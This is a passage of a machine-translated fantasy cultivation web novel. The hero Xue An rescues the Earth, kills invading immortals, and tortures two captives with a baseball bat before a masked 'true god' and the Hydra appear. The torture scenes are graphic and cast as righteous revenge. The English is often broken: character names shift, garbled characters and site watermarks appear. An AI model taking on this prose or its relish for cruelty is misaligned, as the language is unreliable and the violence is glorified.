    Although not as powerful as he was at the beginning, his active usage proved that his strength is rapidly recovering.


    Seeing this scene, everyone couldn''t help being shocked, and many people were even more desperate.


    Because the difference in strength is so big that it makes people even have no desire to do something.


    But at this moment, the crowd suddenly heard a young cry.


    "seal!"


    Under the word, an inexplicable energy was instantly injected into Luo Ruqing''s body.


    Luo Wuqing felt that his qi and blood suddenly became stagnant, and even his breathing became very uncomfortable.


    This feeling made him very upset, and he couldn''t help looking at the person speaking with irritation.


    at the same time.


    The eyes of the audience also looked at the sound source.


    But seeing Nian Nian standing there pale, her small body trembling constantly, she was obviously under tremendous pressure, even so, she still didn''t flinch at all, but stared firmly and ruthlessly.


    "Re-seal!"


    With another soft drink, the human emperor Faxiang behind Dou Yinan began to collapse and collapse, from the initial height of a thousand feet to only a hundred feet in a blink of an eye.


    At the same time, his power began to shrink.


    At this time, not only Luo was ruthless, even Dou Yinan and others couldn''t help but look horrified.


    Because they could clearly perceive that even though Xue An''s blood was surging in this little girl, she was a mortal with no spiritual power.


    But why can such a mortal be able to seal the powerhouse of Half Step Immortal Venerable twice?


    Could it be...


    Luo Ruqing first thought of something, and his eyes couldn''t help showing a strong greed Hehe, I didn��t expect Xue An��s blood to have such a powerful talent. If it is dedicated to an adult, The adults will definitely reward me! "


    After speaking, he smiled strangely and stretched out his hand to grab Niannian.


    An Yan and everyone roared together, and they rushed forward to stop them.


    But Dou Yinan and others stopped everyone at this moment.


    Although Dou Yinan is very jealous and ruthless, he also understands that now is not the time to turn his face, he must unite and cooperate to complete the tasks assigned by the adults, otherwise they will all die!


    Seeing that Luo''s ruthless hand was about to touch Nian Nian''s body, An Yan let out a desperate scream.


    But at this moment, a beautiful girl with bare feet suddenly appeared before Nian Nian, and then listened to her indifferently.


    "I don''t care what you do, but these two little girls are not something you can get involved, so..."


    Yue Qinghuan suddenly raised his eyes and shouted coldly: "Get out of here!"

 Chapter 2152： You are not dead yet, of course not...

    Bang!


    Luo Ruoqing''s palm was directly shattered, and at the same time an infinite look of astonishment appeared in his eyes.


    Immediately afterwards, his whole body began to tremble crazily, and big beads of sweat leaked from his forehead.


    Because he felt the same breath from Yue Qinghuan as his master.


    This kind of breath made him almost kneel.


    But Yue Qinghuan didn''t even look at him, turned around and smiled at thinking and Niannian.


    "Don''t worry, there is a sister, no one dares to do anything to you, but you are not allowed to do anything more, otherwise it will be dangerous, understand?"


    Looking at Yue Qinghuan''s back, Luo Ruqing took a deep breath and immediately turned and left.


    This scene also shocked the audience and the world.


    "Who is this mysterious girl? Why do I feel that Luo Ruqing is afraid of her?"


    "I''m in love, I''m so handsome that my sister just yelled her mercilessly!"


    The Internet is even more boiling, and many people feel a kind of unspeakable ease when watching the scene of Yue Qinghuan standing next to Miss Miss.


    After all, from the beginning to the present, the pressure on the whole earth brought by the strong like Luo Ruqing is too great.


    Now this existence that has made countless strong men feel desperate has been directly drunk by a mysterious girl of unknown origin.


    How can this not make people happy.


    Many people even began to wonder whether Yue Qinghuan would completely drive away Luo Wuqing and others.


    But at this moment, thinking about it in silence, suddenly raised his head, his small face was full of solemn words.


    "The seal on them is gone!"


    really.


    When she had just finished speaking, the last trace of seal on Luo Wuqing and others completely disappeared.


    Then the boundless power returned to himself.


    The pressure of Half Step Immortal Venerable even caused huge cracks to appear on the earth.


    But this time Luo Ruqing didn''t dare to scream directly. Instead, he took a very careful look at Yue Qinghuan. Seeing that she didn''t seem to care about herself at all, she was relieved.


    Then he grinned and said to Zhuge Zang: "Old man Zhuge, what tricks do you have now?"


    Zhuge Zang shook his head and smiled bitterly when he heard the words, "There is no one but a deadly battle!"


    "Hehe, fight to death? Do you think I will give you this opportunity?"


    Luo Wuqing suddenly sneered, and then the emperor''s appearance behind him skyrocketed again, occupying most of the sky in the blink of an eye.


    Then Luo Luo ruthlessly looked down at the whole world and shouted in an extremely majestic voice.


    "I''m facing the world, and you are all surrendered, not to kneel down!"


    With a sound, the majestic power instantly penetrated the earth''s law of heaven.


    Wherever he went, countless plants, trees and monsters immediately knelt to the ground.


    And ordinary people couldn''t hold on for long, and then they knelt down in the dust.


    In the blink of an eye, only the powerful people in the whole world were still standing.


    But they are just struggling to support it.


    At least many people with less strength were crushed to the ground one by one.


    Seeing the humiliation on the face of the kneeling man, Luo Wuqing and Dou Yinan couldn''t help laughing.


    The laughter is full of endless arrogance and madness.


    But at this moment, a smile suddenly appeared on the little face that I thought about.


    "came back!"


    "What''s back?" Nian Nian asked.


    "It''s Dad! Dad is back!"


    As soon as the voice fell, a faint cracking sound suddenly came from the sky.


    Immediately afterwards, I saw tiny cracks appearing on the dark iron sky.


    These cracks are like patterns after lightning strikes, shining brightly.


    At this moment everyone noticed the strangeness and couldn''t help but look up.


    Even Yue Qinghuan''s eyes showed a touch of consternation.


    "How is it possible that you can even break the rules?"


    But whether she believes it or not, the scene before her really happened.


    Luo Ruqing also reacted at this time, and then let out a roar in anger.


    "Do it now and kill everyone!"


    When the words were over, Dou Yinan and others were about to start immediately.


    But everything is too late.


    Hearing a crisp sound, the black iron sky curtain that had enveloped the entire sky shattered in an instant, and the long-lost sun and moon shone in.


    And what came faster than the glow was a faint figure.


    He suddenly appeared in front of Luo Wuqing and the others, and then blasted a punch.


    Although it was just a simple punch.


    But it contained supreme anger, and the power of exterminating the world blasted Luo Ruqing and others.


    Luo ruthlessly changed his expression, because even the half-step Xianzun he felt a biting chill at this moment.


    He has no doubt that if he were hit by this punch, he would definitely be seriously injured!


    This couldn''t help shaking him all over, and then he dodged without hesitation.


    Dou Yinan was hiding faster than him.


    In fact, when he first saw that figure, Dou Yinan had silently hid behind the crowd.


    The two of them escaped, but the elites of the sects such as Xuan Mingling and Jingyue Si of the Imperial Palace were unlucky.


    Just listen to a bang.


    The Zongmen powerhouse who had just occupied a large area of ??the sky was directly shocked by this fist.


    Only then did everyone on earth react, and then burst into huge cheers.


    "Mr. Xue!"


    "Xue Shenzun is invincible!"


    "Xue Shenzun Niu X!"


    People shouted hoarse, in order to vent their joy.


    An Yan let out a sigh of relief, and then felt that all her muscles were sore.


    This is the stress response after the huge pressure is suddenly relieved.


    One can imagine how hard she has endured during this period.


    Zhuge Zang grinned even more, "Fortunately, I finally caught up, otherwise I have to confess this old bone!"


    Xue An was not disturbed by the disturbances and shouts of the crowd.


    At this moment, he was looking at the few people such as Luo Wuqing and Dou Yinan with extremely cold eyes.


    Looking over, even Luo Ruqing couldn''t help shaking.


    But soon, he lowered his heart and said coldly: "Xue An, I really didn''t expect your ability to be so great that you can break the blockade given by the adults, but do you think this is over?"


    But before he finished speaking, Xue An shook his head, "Of course it''s not over."


    As he said, Xue Ansen smiled.


    "Because you are not dead, how can this matter be done?"


    When the words fell, Xue An rushed up again. U U Reading


    "Arrogant, do you really think I''m afraid that you won''t make it?" Luo ruthlessly yelled, and then winked at Dou Yinan on the side.


    Dou Yinan understood it, and then withdrew aside to contain Xue An.


    The surviving several strong men also dispersed separately, planning to besiege Xue An.


    In their view, this is a sure thing.


    Because no matter how good Xue An is, it is only a fairy emperor.


    Now there is a half-step immortal venerable, an immortal emperor, plus several immortal kings.


    Such a formation is enough to strike him directly.


    But their wishful thinking was ruthlessly shattered before it started.


    Because they hadn''t waited for them to disperse, they only heard a muffled sound.


    An elder of the Immortal King in the Palace of Human Emperor was directly shattered!

 Chapter 2153： Killing the fairy king is like killing a pig

    The blood mixed with the brain, splashed on Dou Yinan who was on the side.


    The sticky and smelly touch made Dou Yinan''s hairs stand up.


    But what really frightened him was not the death of the fairy king, but the look on Xue An''s face.


    It was a kind of indifferent to the extreme cold, and Dou Yinan couldn''t help but shudder in Lingling.


    At the same time, Xue An, like a ghost, appeared behind another Xuan Ming elder in an instant, and then blasted out with a punch.


    Bang!


    The elder didn''t even have time to react, and his head burst like a rotten watermelon.


    At the same time, Xue An''s fist did not stop at all, but passed straight through his broken head, and blasted towards a middle-aged man with a magnificent power.


    The man was so scared by Xue An''s violent scene, he immediately retreated.


    But he is fast, Xue An is faster.


    Seeing Xue An''s footsteps did not stop at all, dragging the elder''s corpse and banging straight at the man.


    And no matter how this man dodges, Xue An''s fists are getting closer to him.


    At this time, the man couldn''t help screaming hysterically: "Your Majesty, save me!"


    Luo Ruqing was about to come when he heard the words, but when he rushed halfway, a bright sword light crashed down, blocking his way.


    Then Xue An said coldly: "Li Xuanyi, it''s no use calling anyone, you all have to die here today!"


    That''s right!


    This man was Li Xuanyi, the chief guard of the Imperial Palace who had designed and framed Xue An in the Xuanming Tomb.


    It was just that he was annihilated at the time, only a clone, and his body was not harmed.


    This time he landed on Earth, he was also one of the masterminds, and because his strength was second only to Luo Wuqing and Dou Yinan, he had committed numerous crimes.


    That''s why Xue An was so determined to kill him.


    At this time, Li Xuanyi had been seized by Xue An''s indomitable momentum, and he just wanted to dodge, where he would dare to confront directly.


    I have to say that Li Xuanyi''s strength is still strong enough. Under Xue An''s pursuit, he still rushes from left to right. Xue An can''t help him for a while.


    At the same time, Luo Wuqing had also shattered the sword light blocking the road, and rushed towards here.


    Seeing that it was about to form a two-sided attack, everyone in the audience couldn''t help but exclaimed.


    Many people looked at Xue An with worry.


    At this time, Li Xuanyi also saw Luo Ruoqing rushing forward, and a deep joy appeared in his eyes.


    As long as the two sides hit 10%, Xue An would be seriously injured if he didn''t die.


    But before he was too proud, he saw Xue An raise his eyebrows slightly, and then gave a soft drink.


    "burst!"


    Bang!


    After a loud and dull noise, the elder''s body dragged in Xue An''s hand burst instantly, turned into countless drops of blood, and shot in all directions.


    The speed is so fast and the power is so powerful that countless tiny holes have been shot out of the space.


    Speaking of this, the elder of the Immortal King was also unlucky. First, Xue An blasted his head with a punch, then even the corpse was used as a weapon, and finally there was no bone left.


    These blood drops came extremely fast, at least the nearest Li Xuanyi was the first to bear the brunt.


    Seeing him scream, he wanted to dodge.


    But at this moment, countless hair-like brilliance stretched from Xue An''s eyebrows, directly trapping Li Xuanyi in it.


    In an instant, a drop of blood hit his face and passed straight through Li Xuanyi''s body.


    Even the body of the immortal king could not resist this kind of impact, and was riddled with holes.


    The screams shook the entire cloud.


    "Ah, ah, Xue An, you can''t die..."


    puff!


    The scream stopped abruptly, because Xue An didn''t know when he appeared in front of Li Xuanyi, and his finger penetrated Li Xuanyi''s eyebrows.


    Li Xuanyi''s eyes dimmed in an instant, and there was no sound anymore.


    At this point, except for Luo Wuqing and Dou Yinan, all the immortal kings have been killed by Xue An.


    The audience was deadly quiet.


    Because everyone was shocked by Xue An''s crazy behavior of killing the fairy king like pigs and dogs.


    Even Luo Ruoqing, who is a half-step Xianzun, couldn''t help sucking in a cold breath, and then took a step back with a little shivering.


    At this moment, Xue An slowly pulled out his finger, then turned around, staring at the opposite Luo Wuqing and Dou Yinan with faint eyes.


    "Next, it''s your turn!"


    The frenzied murderous aura in the words made them both look different, but they fell into a rage after being ruthless.


    "The surname is Xue, don''t you think it would be great to kill a few immortal kings, but I am..."


    Before the words fell, Xue An suddenly appeared in front of Luo Wuqing, and then slapped his hand.


    Snapped!


    After a very clear sound, Luo Wuqing''s whole person was fanned out in the horrified eyes of the audience.


    Then Xue An drew out his ears slowly, "I know, Half Step Immortal Venerable! Why? Is it amazing?"


    Luo Wuqing had been flying upside down for hundreds of feet before he could stand still. Looking at him at this time, his face was red and swollen, and the corners of his mouth were bleeding continuously.


    Although these symptoms were disappearing rapidly, the humiliation still made Luo ruthlessly blush in his eyes and tremble all over.


    "you you����."


    "What am I?" Xue An smiled faintly, suddenly narrowed his smile, and looked at the opposite Luo Ruthlessly.


    "Let��s not talk about how you got this half-step Xianzun, even if you are really Xianzun, what can you do?"


    "Today, you still have to die!"


    When the words fell, Xue An''s figure disappeared instantly, and when he reappeared, he was actually divided into two and appeared in front of Luo Wuqing and Dou Yinan at the same time.


    hiss!


    Many people took a breath.


    Because Xue An was obviously going to use his own power to fight against a top powerhouse at the peak of the Immortal Emperor and Half Step Immortal Venerable at the same time!


    This behavior is crazy.


    Even Zhuge Zang, who has always had the most confidence in Xue An, couldn''t help but sigh.


    "Xue An, you are a little too big!"


    But as soon as his voice fell, the situation in the field had suddenly changed.


    Seeing the three people in the fierce battle suddenly separated, Luo Ruqing looked at Xue An with a pale face, and hissed.


    "What''s the matter with your strength? Why is it suddenly so powerful?"


    Following the voice, a blood trail ran down his forehead.


    Dou Yinan did not speak, because he was panting frantically at the moment, apparently just under great pressureXue An smiled coldly, "You really think you can take refuge in these evil things. Go further? You are wrong, they just treat you as a dog looking forward!"


    "Since you are a dog, naturally you won''t be able to have too much strength, so..."


    Xue An looked at the pale-faced Dou Yinan and Luo Wuqing, "You still don''t understand what your strength is about?"


    "Impossible! The adults who have personally improved the strength for us, my half-step Xianzun realm is even more genuine, you are lying to us!" Luo shouted in merciless hysterics.


    Xue An''s face was sneered, "Improve your strength for you? Does devouring your luck and chance be regarded as improving your strength for you?"


    Luo Ruqing was completely stunned.


    Xue An said lightly: "I have lost the heart of the strong, and I just want to improve myself through shortcuts. From the moment you set foot on this road, the ending has been doomed!"


    "So... die!"

 Chapter 2154： Xue An is really angry

    Although Luo Wuqing and Dou Yinan struggled hard, as Xue An said, they had lost the heart of the strong and were swallowed by their luck, and they had no power to fight back in front of Xue An.


    However, after a few face-to-face encounters, the two were defeated by Xue An.


    This scene was also watched by Hu Ye Ye Hanshang and others who came afterwards.


    "Fuck, is Old Xue so fierce? One person against two strong men?" Hu Ye exclaimed.


    Upon seeing this, Hu Huan shrugged disapprovingly.


    "It''s very simple. These two people have been abandoned. How could it be Xue An''s opponent who was reborn once and walked step by step?"


    At the same time, the whole world is boiling because of the arrival of everyone.


    "Hahaha, countless strong people have gathered, I think how arrogant these two people are!"


    "Yes, Xue Shenzun is indeed invincible in the world, and these two are about to be finished!"


    The voices of discussion one after another.


    Only a few people remained calm while faintly feeling something was wrong.


    Because this group of strong men who defected from the outside world spent so much energy, and even used an extremely powerful ability to block the earth, did they lose so easily?


    And they have one master at a time, why hasn''t the person behind the master show up yet?


    At this moment, when Xue An snorted softly, the violent sword intent directly smashed Dou Yinan''s hands and feet, and then countless hair-like brilliance tied him in them.


    In the blink of an eye, only Luo Ruqing was left on the battlefield.


    When Luo Ruoqing saw this scene, he was so scared that he didn''t dare to love the battle anymore, but turned and left.


    He knew very well that if he didn''t run anymore, it would really be too late.


    But as soon as he turned around, he felt the brilliance exploding in front of him, and then his hands and feet were also chopped off, and then he was bound to be strong.


    At this moment, the two of them were trapped in Guanghua like two silkworm chrysalis, only two heads were exposed, and their faces were full of horror.


    At this moment, Xue An was still as clean as ever in his white clothes, not even stained with blood.


    Xue An stepped up to the two of them.


    As he approached, their faces became pale.


    "The last name... The last name is Xue, you are indeed amazing, but I am not afraid of death, let''s do it!"


    Dou Yinan knew that it was useless to beg for mercy, so he sullied his heart and said angrily.


    Xue An gave a chuckle, then slowly raised his hand and dropped it gently.


    Dou Yinan closed his eyes in despair, but to his surprise, Xue An''s hand did not shatter his head, but patted his head lightly.


    What do you mean?


    Could he not kill me?


    There was a burst of ecstasy in Dou Yinan''s heart.


    But at this moment, Xue An''s next sentence made his heart fall to the bottom.


    "Don''t you think it''s cheaper to kill you like this?"


    Dou Yinan was shocked and opened his eyes blankly, not understanding what Xue An meant.


    At the same time, Xue An turned around and smiled at An Yan in the distance.


    "Yan''er, cover the eyes that miss you!"


    An Yan didn''t ask why, she pulled her miss into her arms and covered their eyes.


    This move made many people look at each other, wondering what Xue An meant.


    Only Hu Ye bared his teeth when he saw this, "It seems that Old Xue is really angry this time, these two guys are going to be unlucky!"


    After doing all this, Xue An slowly turned around, and Chong Luo Ruqing and Dou Yinan smiled slightly.


    "Next is game time, I hope you will like it!"


    This kind of smile fell in Dou Yin''an and Luo Wuqing''s eyes but looked like a devil, making them scream in shock.


    Xue An frowned slightly, and then made a silent gesture.


    "Shhh, keep your voice down, otherwise I can hardly guarantee that I won''t make the game time longer!"


    When it came to the word game, Xue An deliberately increased his tone.


    This also caused Dou Yinan and Luo Wuqing to tremble all over, and immediately closed their mouths.


    But soon Luo Luo ruthlessly said calmly: "What do you want to do? Xue An, if you have the ability to kill me, what is the abuse of punishment?"


    "Yes! Don''t you claim to be benevolent and righteous? Why treat us two like this?" Dou Yinan also echoed.


    Xue An smiled.


    "Abuse of punishment, called benevolence? You are wrong. I am only charging a small amount of interest on what you do!"


    When the words fell, Xue An''s eyes flashed Guanghua.


    Luo Wuqing and Dou Yinan screamed, and then their entire bodies were dragged by Guanghua, and finally lined up in the air.


    Immediately after Xue An waved his hand, the fine sword light passed over their heads.


    All the hair was shaved in an instant.


    There were only two big bald scoops left in the air, which looked particularly dazzling in the sunlight.


    Everyone''s eyes widened, and they didn''t understand what Xue An was planning to do.


    However, Yue Qinghuan seemed to be aware of it, the corners of his mouth raised slightly, and then he said lightly: "Don''t say anything else, the technique of shaving his head is quite high!"


    At this moment, Xue An also slowly walked to the heads of Luo Wuqing and Dou Yinan, and looked down at them both condescendingly.


    "Xue...Xue An, what on earth do you want to do? Have the ability to give you a good time!" Dou Yinan was about to be tortured and collapsed.


    You must know that he is also a strong immortal emperor, but at this moment he is kneaded at will by Xue An like a puppet.


    This fear of being dominated made him almost crazy.


    Xue An smiled slightly, and then stretched out his hand slowly, with the sword light in his hand, and it turned into a...baseball bat in the blink of an eye.


    "Hey, close your eyes."


    With that, Xue An raised his hand and smashed a stick.


    Bang!


    After a loud noise, Dou Yinan screamed.


    Because this stick was hitting his head, smashing half of his head in, the fragments of brain and skull flowed out with the blood.


    But because it did not hurt the fundamentals, UU reading www. uukanshu.com Therefore, under the blessing of Immortal Emperor''s powerful cultivation base, this seemingly terrifying wound is quickly recovering.


    But Xue An''s hand did not stop at all, and then another stick fell, which smashed the newly grown skull again.


    The extreme pain made Dou Yin''an almost faint, and Luo Ruqing on the side saw this scene as a dead soul.


    "Do not����."


    Before he could speak, the stick in Xue An''s hand slammed on his face.


    With two bangs, Luo''s ruthless eyes burst directly, and his nose was directly smashed into his head.


    Immediately afterwards, Xue An was another stick. This stick was hitting his wide mouth, and his mouth full of teeth fell instantly.


    This scene of blood flying stunned everyone.


    Many people are frightened for it.


    Only Xue An looked indifferent, "Enjoy slowly, this...is just the beginning!"

 Chapter 2155： Gradually revealing

    "Kill me!" Luo whispered ruthlessly.


    At this moment, his head has been completely smashed, even so, under the support of that strong vitality, these serious injuries that could kill ordinary people ten times are still quickly healed.


    And this process has been repeated hundreds of times.


    This feeling of being saved from life to death caused Luo Ruoqing to completely collapse.


    As for Dou Yinan...


    At this moment, he could not even speak, so he could only scream from the side.


    This kind of scream is like the cry of a madman, without the slightest sense of reason, which is chilling.


    Xue An stopped the baseball bat waving in his hand, then leaned down, leaned in front of Luo Ruqing, and said lightly: "What did you say?"


    "Please kill me!" Luo''s ruthless eyes showed an expression of infinite prayer.


    Xue An laughed when he heard the words. In the laughter, he slowly stood up and said indifferently: "Kill you? Why? This game has just begun, so you can''t bear it anymore?"


    "Xue An, you can''t kill people, but I''m also a powerhouse of Half Step Immortal Venerable, so please give me a happy one!"


    "Give you a pleasure...hehe, do you think I am cruel to you like this?"


    Luo Ruqing didn''t dare to say anything, but the look in his eyes explained everything.


    At this time, Xue An suddenly turned around and looked at everyone present.


    "Do you think so too?"


    No one spoke, and the audience was extremely quiet.


    Xue An slowly said: "I know that many people must think this way, but have you ever thought about it, what is the purpose of them coming to the earth!"


    "If I come a step late, the whole world will be destroyed by them, and even with you will become dead souls, so... do you still think these people are pitiful?"


    When Xue An''s words came out, everyone in the audience and around the world was shocked.


    You must know that many people did feel a little uncomfortable before, and felt that Xue An was too cruel to do this.


    But when they followed Xue An''s words, they all woke up immediately.


    At the same time, Xue An casually smashed the almost ruthless head that had just recovered.


    Luo ruthlessly let out a hysterical roar.


    "Xue An, you have to die, the master will tear you and the entire heavens to pieces!"


    Xue An smiled coldly when he heard the words, and then whispered softly: "I don''t kill you because I have to wait for your master to show up! After all, you still have to look at the master to beat the dog, but your master doesn''t seem to take you seriously. !"


    Luo Ruqing''s pupils shrank instantly, and finally understood Xue An''s thoughts.


    But this is crazy!


    Does he still want to deal with his master?


    At this moment, a sigh of Ruoyouruwu suddenly came from the distant void.


    Although the sound was not loud, it spread throughout the world in an instant.


    Countless strong men only felt this sigh, and their heart stopped beating for a while.


    Yue Qinghuan looked up with a sinking face, and whispered softly in his mouth: "Is it finally willing to show up!"


    Hu Huan and Li Jingxing''s figures flashed and appeared directly beside Xue An.


    Then Hu Huan said solemnly, "Xue An, the body guarding the Pure Land Buddha Kingdom with me and Lao Li didn''t notice any abnormality. How did this guy come out?"


    Before Xue An was aware of the danger of the earth, he immediately led people to come here, but for the sake of the safety of the Pure Land Buddha Kingdom, he let Li Jingxing and Hu Huan stay guard.


    But the two were not worried about what happened here, so they separated a clone to follow.


    But at this moment, neither Huhuan nor Li Jingxing noticed any anomalies, which couldn''t help making them both feel infinite shock.


    Could it be that besides that bronze door, where else could pass through the sky?


    Xue An''s complexion was as usual, and said lightly: "Of course I won''t notice the abnormality, because what is coming now should be just a projection!"


    really!


    When Xue An''s voice just fell, he heard this voice chuckle.


    "It''s kind of interesting. I can see through my disguise. It''s worthy of an existence that makes me admire me!"


    Following the voice, I saw a phantom appearing above the sky.


    This phantom couldn''t see any shape, even if it was a human being inside.


    But after seeing this phantom, Luo Wuqing and Dou Yinan were madly surprised.


    "Master save me!"


    "Master, please help me!"


    Hearing this statement, the whole world shocked.


    what?


    This phantom is the master behind Luo Wuqing and Dou Yinan?


    In other words, he is the real messenger?


    Only a strange brilliance flashed in Xue An''s eyes, but he just watched quietly without speaking.


    At this moment, this phantom snorted coldly.


    "Useless things, even such a small task can''t be completed, there is still a face to let me save you, not to die!"


    When the words fell, the heads of Luo Ruqing and Dou Yinan burst open and turned into blood mist.


    Also shattered with their spirits.


    In other words, it was just such a sentence, half-step Immortal Venerable Luo Ruqing and Pinnacle Immortal Emperor Dou Yinan were directly obliterated.


    And during the whole process, no one else felt the slightest power.


    These unbelievable methods made this phantom become more and more unpredictable.


    Xue An raised his eyebrows slightly, "Who asked you to kill them?"


    "Huh? I killed the two dogs I raised, is there any problem with this?" Xu Ying laughed.


    "But I caught them now. You killed them so directly. Are you helping them get rid of it?" Xue An asked coldly.


    The phantom was silent.


    Many people secretly squeezed a cold sweat for Xue An.


    Because Xue An is now forcing an unknown mysterious existence!


    No one knows what the consequences will be!


    At this moment, there was a burst of laughter that could not hear good and evil in this phantom.


    "Xue An, let''s not talk about your strength, but you are so courageous. If you ask me like this, aren''t you afraid to anger me and crush you and this small planet directly? ?"


    Xue An shook his head, "Not afraid, because..."


    "You can''t do it at all!"


    When the words fell, Xue An''s figure flashed, and instantly appeared in front of this phantom. He stretched out his hand and leaned forward, trying to catch a hint of this phantom.


    But all this is in vain.


    As soon as Xue An''s fingers touched the phantom, the phantom quickly disintegrated, and a sneer came from the void.


    "A mere mortal body, dare to blaspheme the true god? Xue An, you are too courageous!"


    "The real god?" Xue An grasped the key to this sentence in an instant, and then asked back.


    The voice was silent for a while, and then he said coldly: "Since you want to know our existence so much, then pass the test first! And don''t you like playing games? Then you can enjoy the games I prepared for you. Hahahaha."

 Chapter 2156： 9 snakes appeared

    Amid the laughter, the sound receded like a tide.


    Xue An stood on the spot, his eyes flickering, then slowly raised his hand and sniffed lightly on the tip of his nose.


    Although the phantom shattered very quickly, his fingers still touched the edge.


    So at this moment, there was still a very faint breath remaining on his fingers.


    But it was just such a breath that made Xue An suddenly think of something, his eyes widened, and then turned to look at Yue Qinghuan who was standing behind the crowd.


    Yue Qinghuan shrugged slightly, and then nodded with a smile.


    Xue An stared at Yue Qinghuan deeply, then turned his head and said to the people who came up.


    "Get ready now!"


    "What are you going to prepare?" Hu Ye asked in a daze.


    "Meet...the real battle!"


    At the same time, in front of the bronze gate of the Pure Land Buddha Kingdom.


    Looking at Yingluo, who was still not waking up in her concentration, a look of sadness appeared on the pale face of Yuesha.


    Maitreya walked to his side at this time, first glanced at Yingluo surrounded by golden light, and sighed.


    "Brother Yuesha, I really didn''t expect this little benefactor to have such a deep root of wisdom, and he would break several realms in such a short period of time, and now he is about to be promoted to an intangible place. If he succeeds, it would really be said. It is the cultivation speed of the ancient Shuo Jin!"


    Yuesha nodded when she heard the words, and said slowly: "She can definitely do it!"


    "Then why are you still worried?"


    "Because... I''m afraid I won''t be able to wait for that day!" Yue Sha whispered.


    Maitreya understood something in an instant and couldn''t help but sighed for a long time, then turned around and left.


    But at this moment, the calm Tongmen suddenly became brilliant.


    In an instant, the entire battlefield shook for it.


    The two bodies of Li Jingxing and Huhuan who were left to guard instantly appeared in front of the bronze gate, and then looked at this scene with solemn expressions.


    "End!" Li Jingxing ordered immediately.


    When everyone heard the wind, they formed a formation in an instant.


    The two sects of Jingmi also rushed forward immediately.


    At the same time, among the bronze gates, huge figures began to emerge.


    When they completely appeared in front of everyone, everyone couldn''t help but horrified.


    Therefore, the evil things that appeared this time were obviously much stronger than before.


    And the number is densely packed, as if it were endless.


    "Hands!" Fox Huan shouted, and the Nine Tails appeared immediately. Several foxtails plunged into the void and turned into several moats in the air, blocking the attack of these evil things.


    This is a trick he tried repeatedly in the past.


    But this time, this trick failed.


    After seeing these evil things being blocked by the first sky moat, they immediately went to the side. The action was as if someone was commanding it, and it was very organized.


    In the blink of an eye, these evil creatures rushed to the front, so fast that they even set off a gust of wind.


    With a cold snort, Li Jingxing slashed at these evil things.


    Puff puff!


    Jian Guang was completely swallowed after extending for several miles.


    At this time, even Li Jingxing''s expression changed.


    Because he is very aware of the power of his sword, if it is left in the past, this sword can at least cut hundreds of miles long.


    But when facing the evil army this time, only a few miles were cut out.


    The gap in this can hardly be calculated.


    But when he was shocked, suddenly, a sword intent quickly condensed over the evil army, and then smashed toward everyone with a monstrous force.


    "How is it possible?" Li Jingxing couldn''t believe his eyes.


    Because the sword light that was split back at the moment was his own sword intent.


    But he immediately stopped with a sword, just because he was caught off guard, after the two swords collided, even Li Jingxing couldn''t help but snorted, and then took a half step back.


    Upon seeing this, Hu Huan suddenly thought of something, and immediately shouted in a deep voice: "Hydra?"


    As soon as this statement came out, there was a grinning laugh from the evil army.


    "Yes, it''s me! Nine-tailed fox, long time no see!"


    Following the voice, but seeing the evil creature army above, a man in a black diadem gradually emerged.


    It was the Hydra that had fought Xue An before and was eventually severely injured by Fox Huan and escaped.


    After seeing him, Huhuan''s expression became more solemn.


    Because he found that the strength of this Hydra at this moment is countless times stronger than before.


    Especially the aura on his body is like a vast ocean, which makes people desperate.


    Reminiscing about its almost incredible ability, Hu Huan''s heart gradually sank to the bottom.


    At this moment the Hydra turned his head, looked at Li Jingxing with a sinister face, and said gloomily: "Did you just hit me with the sword?"


    Li Jingxing didn''t respond at all, but took a step forward and then cut out a sword again.


    "Old Li, don''t!" Hu Huan screamed and wanted to stop.


    But everything is too late.


    boom!


    The sword came towards the hydra like a river of heaven.


    Wherever he went, tiny cracks were cut in the space.


    But this Hydra didn''t even move, but Jiejie laughed strangely.


    "It''s really stupid, don''t you know that after using any trick on me, I will be immune to it?"


    Following the voice, Jian Guangye was already present, but the moment he touched the Hydra, this mighty sword dissipated silently.


    Li Jingxing snorted, apparently suffering some minor injuries.


    And just at this moment, the hydra took a step forward with a grinning smile, "Since you like to do things so much, then I will let you die by your own sword!"


    boom!


    The sword light that had just dissipated instantly condensed in Hydra''s hands, and then slashed towards Li Jingxing.


    This sword was even stronger than the one Li Jingxing had cut before.


    Not only that, an extremely cold aura suddenly fell on Li Jingxing, causing his actions to slow down for a moment.


    At this moment, Jian Guang has already been cut to the front!


    Even the nearest Huhuan had no time to react at this moment.


    But at this moment, a brilliant sword light suddenly flew from the side, directly shattering the sword cut by the Hydra.


    The violent sword power caused Hydra to take a half step back.


    Li Jingxing shook his whole body even more, turning his head to look.


    But when I saw a figure flying there, in white, it was Xue An!


    When he appeared on the court, there was a commotion in the audience.


    After seeing him, the Hydra was even more furious.


    "Xue An, we two meet again!"


    Xue An nodded, "Yeah! See you again! I let you run away last time, so this time...how are you going to die?"


    Hydra gave out an extremely angry laugh, "Xue An, you don''t know it when you die, I will take your life today!"


    After speaking, he saw him blast out with a punch, and the power directly penetrated through the layers of space, and came to Xue An''s front door.

 Chapter 2157： Silent Banshee Deprives Vision

    Boom!


    Hearing only a loud noise, the violent shock wave spread immediately.


    Then I saw that the Hydra was shaken back three steps, and then looked at Xue An with shock.


    "How is it possible? You have actually proved Dao Immortal Emperor?"


    Xue An slowly lowered his fist and said lightly: "Are you surprised?"


    Hydra''s eyes showed a hint of gloomy bird.


    "What can Immortal Emperor do, you still have to die today!"


    As he said, Hydra bullied himself again.


    The same fist, the same power.


    But Xue An did not respond with the same trick.


    Because he knew very well that as long as he used a trick once, it would fail on Hydra.


    Therefore, when facing the punch of Hydra, Xue An cut out a sword directly.


    boom!


    The bright sword light directly collided with Hydra.


    Hydra snorted, then was shaken back a few steps again.


    Two consecutive frustrations made him irritated, "Ah, ah, Xue An, I want to see how many tricks you have today!"


    As he said, he rushed up hysterically again.


    Xue An shrugged slightly, "Okay! Then you can try it!"


    Next, I saw Fu Zhuan flying, golden light shining.


    After more than a dozen face-to-face encounters, Xue An didn''t respond the same way. Instead, he beat the Hydra to screams and backtracked.


    Finally, when Xue An slapped the Hydra with bleeding from his nose and mouth with a Buddhist handprint, he finally roared.


    "Enough! When are you going to watch the show? Have you forgotten what the adults ordered?"


    As it roared, there was a gloomy weird laugh from the bronze gate.


    "Hydra, you don''t want to spit people, we didn''t hide from the side and watch the show. After all, you personally said that you want to clean up all of them by yourself. Of course we dare not intervene!"


    "Yeah!" another charming female voice came, "How dare we defy what the dignified Hydra said himself? Otherwise, if we learn that stupid beautiful centipede again, we will be put to death. , Isn''t that wrong?"


    "It''s very true!"


